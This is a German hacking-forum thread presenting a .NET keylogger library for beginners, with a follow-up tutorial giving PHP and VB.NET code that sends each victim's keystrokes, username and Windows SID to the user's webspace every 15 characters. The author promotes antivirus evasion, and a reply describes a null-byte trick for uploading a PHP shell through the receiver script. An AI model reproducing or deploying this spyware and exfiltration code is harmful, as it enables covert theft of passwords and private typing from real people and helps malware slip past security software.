Zum Inhalt wechseln

Als Gast hast du nur eingeschränkten Zugriff!


Anmelden 

Benutzerkonto erstellen

Du bist nicht angemeldet und hast somit nur einen sehr eingeschränkten Zugriff auf die Features unserer Community.
Um vollen Zugriff zu erlangen musst du dir einen Account erstellen. Der Vorgang sollte nicht länger als 1 Minute dauern.

  • Antworte auf Themen oder erstelle deine eigenen.
  • Schalte dir alle Downloads mit Highspeed & ohne Wartezeit frei.
  • Erhalte Zugriff auf alle Bereiche und entdecke interessante Inhalte.
  • Tausche dich mich anderen Usern in der Shoutbox oder via PN aus.
 

   

Foto

MangoE KeyloggerLib (.Net)

- - - - -

  • Bitte melde dich an um zu Antworten
5 Antworten in diesem Thema

#1
<Kevin>

<Kevin>

    Pentester

  • Premium Member
  • Likes
    11
  • 104 Beiträge
  • 6 Bedankt
  • Android
  • Windows
Hallo.
Ich würde euch gerne meine gerade fertiggestellte KeyloggerLib vorstellen.
Dabei habe ich diesmal darauf geachtet, dass die Anleitung möglichst anfängerfreundlich ist,
damit auch Newbies etwas davon haben.

Wozu ist diese Library gut?
Diese Library ermöglicht es, Tastatureingaben auszuspionieren.
Es ist also ein Keylogger.

Was spioniert die Library aus?
Die Library protokolliert sowohl Eingaben einer physischen Tastatur (Keyboard) als auch
von einer virtuellen Tastatur (Beispiel Windows Bildschirmtastatur, auf der man nur klicken muss)
Die Maus wird nicht protokolliert.

Wieso eine Library und keinen Code?
Zunächst war der Code arbeitsaufwendig und außerdem kommt
nicht jeder mit Sourcecode und dessen Nutzung klar.
Darüber hinaus stellt die Library eine Art Kapselung für den Code dar,
in der späteren .Exe die man dann nutzt.

Was sind die Vorteile gegenüber einem normalen Keylogger, den man cryptet?
-Keylogger haben i.d.R eine hohe Detectionrate
-Die später erstellte .Exe mit dieser Library hat immer andere Signaturen
-Ich als Entwickler kann die Library updaten und so verändern, dass
eine Detectionrate wieder sinken würde
-Vb.net Programme lassen sich einfacher crypten/verändern als andere Programme

Nachteile
-Man muss Visual Studio installiert haben
-Ohne jegliches Know-how wird es etwas schwierig :D

Was benötige ich um diese Library zu nutzen?
-Im Prinzip nur Visual Studio (z.B Visual Studio 2013) und ein paar Grundkenntnisse.


Anleitung liegt im Ordner!


Dateigröße der .Dll : ca. 738kb
Dateigröße der gesamten .zip : ca. 990kb

Virustotal:

Please Login HERE or Register HERE to see this link!



Download zu finden:

Please Login HERE or Register HERE to see this link!




Bei Fragen/Verbesserungsvorschlägen könnt ihr mich gerne kontaktieren!

Falls Interesse besteht, mache ich weitere Tutorials (Upload auf einen Ftp Webspace über eine .Php Datei, RunPe , etc).

Bearbeitet von <Kevin>, 11 October 2014 - 10:33 Uhr.

  • White-Warti gefällt das

#2
<Kevin>

<Kevin>

    Pentester

  • Premium Member
  • Likes
    11
  • 104 Beiträge
  • 6 Bedankt
  • Android
  • Windows
Kommen wir zum Teil 2: Dem Upload der Daten auf einen Webspace.

Dazu benötigen wir zunächst eine .php Datei, die unsere Daten empfängt
und diese dann in eine Textdatei schreibt.

Dafür öffnet ihr Notepad und fügt folgenden Code ein:



<?php
//ini_set ('display_errors' , 1);
//error_reporting(E_ALL);

$Input = str_replace('0', '', $_POST['xkWplKsm']);
$Input = str_replace(chr(26), '', $Input);
$pat = '#(([^a-zA-Zd]+))#';
$Acc = preg_replace($pat, '' , $_POST['xYaqm']);
$HwID = preg_replace($pat, '', $_POST['qAihiWdk']);


if(strlen($Input) > 9 && strlen($Acc) > 0 && strlen($HwID) > 0)

{
file_put_contents('Geckoo/.' . $HwID . '.txt','['. date('Y-m-d H:i:s'). ']' .$Acc . "n0". $Input . "0nn", FILE_APPEND);
}

?>

Diese Datei speichert ihr unter dem Namen .kmlPEmsXy.php (der Punkt am Anfang ist wichtig!)
Bei Dateityp "Alle Dateien" auswählen im Speicherdialog.

Jetzt ladet ihr diese Datei ins Hauptverzeichnis eures Ftp Webspaces
und erstellt zudem noch ein Verzeichnis "Geckoo".

Der Webspace Teil wäre somit abgeschlossen.


Jetzt knüpfen wir an Bild 12 aus dem Keyloggertutorial an (siehe Download).

Da seht ihr eine Methode "Private Sub AnServerSenden".

Darüber fügt ihr folgenden Code ein:

Private kaowpw As New kwpwpw

Class kwpwpw
Private nv As New NameValueCollection
Public Sub uhrjhchecewe(GtRdkdlekfm As String, cleiei As Boolean)
Dim zTRfdslm As String = String.Empty
Try : zTRfdslm = System.Security.Principal.WindowsIdentity.GetCurrent.User.Value.Replace("-", String.Empty) : Catch : End Try


Dim sekDelskr As Thread = New Thread(Sub()
Try
Using yfrfls As New WebClient
If GtRdkdlekfm.Length >= 15 Then
If cleiei Then GtRdkdlekfm = Regex.Replace(GtRdkdlekfm, "(.+)1{6,}", "")
nv.Clear()

nv.Add("qAihiWdk", Regex.Replace(zTRfdslm, "([^a-zA-Zd]+)", String.Empty))
nv.Add("xkWplKsm", GtRdkdlekfm.Replace(Convert.ToChar(0), String.Empty))
nv.Add("xYaqm", Regex.Replace(Environment.UserName, "([^a-zA-Zd]+)", String.Empty))
yfrfls.UploadValues("http://deinftp.bplaced.net/.kmlPEmsXy.php", "POST", nv)
End If
End Using
Catch
End Try
End Sub) : sekDelskr.IsBackground = True : sekDelskr.Start()


End Sub
End Class

Bei deinftp, müsst ihr natürlich euren Webspace angeben.

In diuzedekd_TextChangedd (siehe Bild 12 ) schreibt ihr folgenden Code rein:


If ehudei.Length Mod 15 = 0 then
Dim K As String = ehudei
ehudei = String.Empty
kwpwpw.uhrjhchecewe(K , False)
End If
ehudei &= e


Fertig. Nachdem das Opfer nun jeweils 15 Zeichen getippt hat, wird
der Log aktualisiert.

Pro Opfer wird im Verzeichnis "Geckoo" eine TextDatei erstellt.

Bearbeitet von <Kevin>, 11 October 2014 - 20:44 Uhr.


#3
easysurfer

easysurfer

    Script Kiddie

  • Premium Member
  • Likes
    62
  • 41 Beiträge
  • 58 Bedankt
  • verifiziert
Kannst noch ein paar Worte darüber verlieren, wie die Library die Tastatureingaben abfängt? Hook, GetKeyStateAsync, DirectInput?

-Die später erstellte .Exe mit dieser Library hat immer andere Signaturen

Wie meinst das?

Zum PHP Script:
In einigen PHP-Versionen kann dieses Script zum Upload einer Shell genutzt werden. Soweit ich weis bei PHP <= 5.3.3. Values wären dann:
$HwID = "test.php\0";
$Input = "<?php system('ls'); ?>";
Das Nullbyte bricht den Filenamen an dieser Stelle ab und erlaubt so eine andere Dateiendung.

Des weiteren ist es möglich das Verzeichnis zu wechseln und z.B. ins htdocs Verzeichnis zu schreiben. Solltest Du auch escapen.

Greez
  • Ch!ller gefällt das

#4
<Kevin>

<Kevin>

    Pentester

  • Premium Member
  • Likes
    11
  • 104 Beiträge
  • 6 Bedankt
  • Android
  • Windows
Hey, danke für die Rückmeldung.

Natürlich kann ich etwas dazu sagen.

Also die Tasten werden über RawInput abgefangen, die Lib hat etwa 800 Codezeilen um das umzusetzen.

GetasynckeyState ist murks, da man dabei mittels einem manuellem Thread wie bekloppt die Funktion aufrufen müsste,
wohingegen RawInput ein Event wirft, wenn eine Taste gedrückt wird.

Auch LowLevelHooks sind ungeeignet, da sie ab Windows Vista standardmäßig von Windows
nach 11x Überschreitung der 300ms Grenze automatisch unregistriert werden -> Es
wäre somit sehr ineffizient.

Zu deiner Frage Wie meinst das?
Ich meine damit, dass sofern ich die Library codetechnisch verändere , die Anwendung
letztendlich ganz andere Signaturen hat und somit die Antivirenscanner nichts mehr erkennen können,
da die in der Antivirendatenbank gespeicherten Signaturen nicht mal mehr Ansatzweise übereinstimmen.

So könnte man ja ansonsten denken, dass der Keylogger schnell busted wird,
da man ja meine Lib immer in die Ressourcen einbinden muss. Da könnte man als AV Hersteller
ganz einfach die Signaturen meiner Lib abspeichern.

Zu der .php Datei:

Danke für den Hinweis. Ich hab die .php Datei nur so geschrieben, dass sie halt
einigermaßen ok ist. Also bei Bplaced ist es denke ich nicht möglich, da irgendetwas mit Shell zu machen.
Aber potenziell hast Du recht, man könnte da etwas injecten je nach Phpversion.

Normalerweise hat man ja auch ein Keyloggerpanel mit dem man die Logs einsehen kann
und eine Datenbank.. das mit den Logs ist jetzt etwas kleiner gehalten, kann man natürlich noch erweitern
und verbessern!

Das Tutorial ist auch noch nicht fertig. Möglicherweise bekomm ich noch ein Panel hin,
wobei .php nicht unbedingt so meine Materie ist.

Bearbeitet von <Kevin>, 11 October 2014 - 14:43 Uhr.


#5
easysurfer

easysurfer

    Script Kiddie

  • Premium Member
  • Likes
    62
  • 41 Beiträge
  • 58 Bedankt
  • verifiziert

Ich meine damit, dass sofern ich die Library codetechnisch verÄndere , die Anwendung letztendlich ganz andere Signaturen hat und somit die Antivirenscanner nichts mehr erkennen können,

Kommt drauf an wie groß die Änderungen sind. IL-Code bleibt nach einem Recompile identisch, genau so wie die Strings und Metadatan in der Assembly. Signaturen sind da einfach erstellt, gerade wenn man sich auf Sachen bezieht von denen man weiß dass sich diese nicht durch ein neues Compilieren der Library änderen.

Also bei Bplaced ist es denke ich nicht möglich, da irgendetwas mit Shell zu machen.

Reicht ja wenn man ne PHP Shell drauf hat, um alle ankommenden Logs zu löschen. Gegen richtige Systemangriffe sind die gut abgesichert, da hast Du recht.

Das Escaping in der PHP sieht jetzt übrigens gut aus ;)

Greez

#6
most_uniQue

most_uniQue

    AV Agent

  • Premium Member
  • Likes
    228
  • 478 Beiträge
  • 500 Bedankt
  • iPhone
  • Windows, Linux, Mac OS
@<Kevin> frag doch mal B1nary ob der Zeit für dich hat, ein Webpanel zu erstellen.
Für Cube hat er ein schon recht geiles Panel hinbekommen.


lg
most_uniQue

Bearbeitet von most_uniQue, 12 October 2014 - 18:36 Uhr.

Eingefügtes Bild




  Thema Forum Themenstarter Statistik Letzter Beitrag

Besucher die dieses Thema lesen:

Mitglieder: , Gäste: , unsichtbare Mitglieder:


This topic has been visited by 17 user(s)


    <Kevin>, Blackfox, burhanalasssad, caballo, ferithan, GenDrive, holz96, Julius-K9, kiwitone, mauzzz, Myself88, nischke, Onek, pablo12, sentabee, smc2014, Zerobyte
Die besten Hacking Tools zum downloaden : Released, Leaked, Cracked. Größte deutschsprachige Hacker Sammlung.